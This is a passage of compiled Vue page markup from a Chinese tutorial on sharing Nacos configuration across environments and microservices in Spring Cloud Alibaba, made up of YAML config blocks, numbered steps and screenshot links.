"),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("db-type")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" oracle\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("logic-delete-value")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("logic-not-delete-value")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("mapper-locations")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" classpath"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("/mapper/"),a("span",{pre:!0,attrs:{class:"token important"}},[s._v("*.xml")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("configuration")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("jdbc-type-for-null")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'null'")]),s._v("\n\n\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("rocketmq")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name-server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("9876")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br"),a("span",{staticClass:"line-number"},[s._v("26")]),a("br"),a("span",{staticClass:"line-number"},[s._v("27")]),a("br"),a("span",{staticClass:"line-number"},[s._v("28")]),a("br"),a("span",{staticClass:"line-number"},[s._v("29")]),a("br"),a("span",{staticClass:"line-number"},[s._v("30")]),a("br"),a("span",{staticClass:"line-number"},[s._v("31")]),a("br"),a("span",{staticClass:"line-number"},[s._v("32")]),a("br"),a("span",{staticClass:"line-number"},[s._v("33")]),a("br"),a("span",{staticClass:"line-number"},[s._v("34")]),a("br"),a("span",{staticClass:"line-number"},[s._v("35")]),a("br"),a("span",{staticClass:"line-number"},[s._v("36")]),a("br"),a("span",{staticClass:"line-number"},[s._v("37")]),a("br"),a("span",{staticClass:"line-number"},[s._v("38")]),a("br"),a("span",{staticClass:"line-number"},[s._v("39")]),a("br"),a("span",{staticClass:"line-number"},[s._v("40")]),a("br"),a("span",{staticClass:"line-number"},[s._v("41")]),a("br"),a("span",{staticClass:"line-number"},[s._v("42")]),a("br"),a("span",{staticClass:"line-number"},[s._v("43")]),a("br"),a("span",{staticClass:"line-number"},[s._v("44")]),a("br"),a("span",{staticClass:"line-number"},[s._v("45")]),a("br"),a("span",{staticClass:"line-number"},[s._v("46")]),a("br"),a("span",{staticClass:"line-number"},[s._v("47")]),a("br"),a("span",{staticClass:"line-number"},[s._v("48")]),a("br"),a("span",{staticClass:"line-number"},[s._v("49")]),a("br"),a("span",{staticClass:"line-number"},[s._v("50")]),a("br"),a("span",{staticClass:"line-number"},[s._v("51")]),a("br"),a("span",{staticClass:"line-number"},[s._v("52")]),a("br"),a("span",{staticClass:"line-number"},[s._v("53")]),a("br"),a("span",{staticClass:"line-number"},[s._v("54")]),a("br"),a("span",{staticClass:"line-number"},[s._v("55")]),a("br"),a("span",{staticClass:"line-number"},[s._v("56")]),a("br"),a("span",{staticClass:"line-number"},[s._v("57")]),a("br"),a("span",{staticClass:"line-number"},[s._v("58")]),a("br"),a("span",{staticClass:"line-number"},[s._v("59")]),a("br"),a("span",{staticClass:"line-number"},[s._v("60")]),a("br"),a("span",{staticClass:"line-number"},[s._v("61")]),a("br"),a("span",{staticClass:"line-number"},[s._v("62")]),a("br"),a("span",{staticClass:"line-number"},[s._v("63")]),a("br")])]),a("p",[s._v("点击发布。")]),s._v(" "),a("p",[s._v("(2)将Nacos中用户微服务在开发环境下的配置server-user-dev.yaml修改成如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("author")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" binghe_dev\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-023","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-023.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击发布。")]),s._v(" "),a("p",[s._v("(3)在Nacos中添加用户微服务在测试环境下的配置server-user-test.yaml,配置中的主要内容如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("author")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" binghe_test\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("具体如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-024","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-024.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击发布。")]),s._v(" "),a("p",[s._v("(4)此时Nacos中的配置如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-025","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-025.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(5)查看用户微服务中bootstrap.yml文件的配置,如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("user\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" user_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br")])]),a("p",[s._v("可以看到,此时bootstrap.yml文件中配置的是环境是dev,表示开发环境。")]),s._v(" "),a("p",[s._v("(6)启动用户微服务和网关服务,在浏览器中输入"),a("code",[s._v("http://localhost:10001/server-user/user/nacos/name")]),s._v(",如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-026","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-026.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("可以看到,正确获取到了Nacos中server-user-dev.yaml配置中的"),a("code",[s._v("author.name")]),s._v("的值。")]),s._v(" "),a("p",[s._v("(7)将用户微服务的bootstrap.yml文件中的环境变量修改成test,如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" test\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br")])]),a("p",[s._v("(8)重启用户微服务,在浏览器中输入"),a("code",[s._v("http://localhost:10001/server-user/user/nacos/name")]),s._v(",如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-027","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-027.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("可以看到,正确获取到了Nacos中server-user-test.yaml配置中的"),a("code",[s._v("author.name")]),s._v("的值。")]),s._v(" "),a("p",[s._v("综上:我们正确实现了单个微服务在多个不同环境下的公共配置的共享操作。")]),s._v(" "),a("h3",{attrs:{id:"多服务配置实现共享"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#多服务配置实现共享"}},[s._v("#")]),s._v(" 多服务配置实现共享")]),s._v(" "),a("p",[s._v("不同的微服务之间实现公共的配置共享也比较简单,在Nacos中定义一个公共配置,然后在当前的配置中引入即可。具体的实现步骤如下所示。")]),s._v(" "),a("p",[s._v("(1)在Nacos中新建一个以server-all.yaml为Data ID的配置,配置中的主要内容为用户微服务、商品微服务和订单微服务共有的配置,如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("datasource")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("driver-class-name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" com.mysql.cj.jdbc.Driver\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("url")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" jdbc"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("mysql"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("//localhost"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("3306/shop"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("?")]),s._v("useSSL=false"),a("span",{pre:!0,attrs:{class:"token important"}},[s._v("&useUnicode=true&characterEncoding=utf-8&allowMultiQueries=true&serverTimezone=Asia/Shanghai")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("username")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" root\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("password")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" root\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("platform")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" mysql\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("type")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" com.alibaba.druid.pool.DruidDataSource\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 下面为连接池的补充设置,应用到上面所有数据源中")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 初始化大小,最小,最大")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("initialSize")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("10")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("minIdle")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("5")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("maxActive")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("20")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 配置获取连接等待超时的时间")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("maxWait")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("60000")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("timeBetweenEvictionRunsMillis")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("3600000")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 配置一个连接在池中最小生存的时间,单位是毫秒")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("minEvictableIdleTimeMillis")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("3600000")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("validationQuery")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" select 1 from dual\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("testWhileIdle")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("testOnBorrow")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("false")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("testOnReturn")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("false")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 打开PSCache,并且指定每个连接上PSCache的大小")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("poolPreparedStatements")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("maxPoolPreparedStatementPerConnectionSize")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("20")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("maxOpenPreparedStatements")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("20")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 配置监控统计拦截的filters,去掉后监控界面sql无法统计,'wall'用于防火墙")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("filters")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" stat\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("discovery")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("http")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("encoding")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("enabled")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("charset")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" UTF"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("force")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("mybatis-plus")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("global-config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("db-config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("id-type")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" auto\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("field-strategy")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" not"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("empty\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("table-underline")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("db-type")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" oracle\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("logic-delete-value")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("logic-not-delete-value")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("mapper-locations")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" classpath"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("/mapper/"),a("span",{pre:!0,attrs:{class:"token important"}},[s._v("*.xml")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("configuration")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("jdbc-type-for-null")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'null'")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br"),a("span",{staticClass:"line-number"},[s._v("26")]),a("br"),a("span",{staticClass:"line-number"},[s._v("27")]),a("br"),a("span",{staticClass:"line-number"},[s._v("28")]),a("br"),a("span",{staticClass:"line-number"},[s._v("29")]),a("br"),a("span",{staticClass:"line-number"},[s._v("30")]),a("br"),a("span",{staticClass:"line-number"},[s._v("31")]),a("br"),a("span",{staticClass:"line-number"},[s._v("32")]),a("br"),a("span",{staticClass:"line-number"},[s._v("33")]),a("br"),a("span",{staticClass:"line-number"},[s._v("34")]),a("br"),a("span",{staticClass:"line-number"},[s._v("35")]),a("br"),a("span",{staticClass:"line-number"},[s._v("36")]),a("br"),a("span",{staticClass:"line-number"},[s._v("37")]),a("br"),a("span",{staticClass:"line-number"},[s._v("38")]),a("br"),a("span",{staticClass:"line-number"},[s._v("39")]),a("br"),a("span",{staticClass:"line-number"},[s._v("40")]),a("br"),a("span",{staticClass:"line-number"},[s._v("41")]),a("br"),a("span",{staticClass:"line-number"},[s._v("42")]),a("br"),a("span",{staticClass:"line-number"},[s._v("43")]),a("br"),a("span",{staticClass:"line-number"},[s._v("44")]),a("br"),a("span",{staticClass:"line-number"},[s._v("45")]),a("br"),a("span",{staticClass:"line-number"},[s._v("46")]),a("br"),a("span",{staticClass:"line-number"},[s._v("47")]),a("br"),a("span",{staticClass:"line-number"},[s._v("48")]),a("br"),a("span",{staticClass:"line-number"},[s._v("49")]),a("br"),a("span",{staticClass:"line-number"},[s._v("50")]),a("br"),a("span",{staticClass:"line-number"},[s._v("51")]),a("br"),a("span",{staticClass:"line-number"},[s._v("52")]),a("br"),a("span",{staticClass:"line-number"},[s._v("53")]),a("br")])]),a("p",[s._v("具体配置如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-028","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-028.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击发布,接下来就是在Nacos中修改各个微服务的配置,将各个微服务的配置中公共的配置删除。")]),s._v(" "),a("p",[s._v("(2)在Nacos中修改server-user.yaml的配置,修改后的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("port")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8060")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("servlet")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("context-path")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" /user\n"),a("span",{pre:!0,attrs:{class:"token key 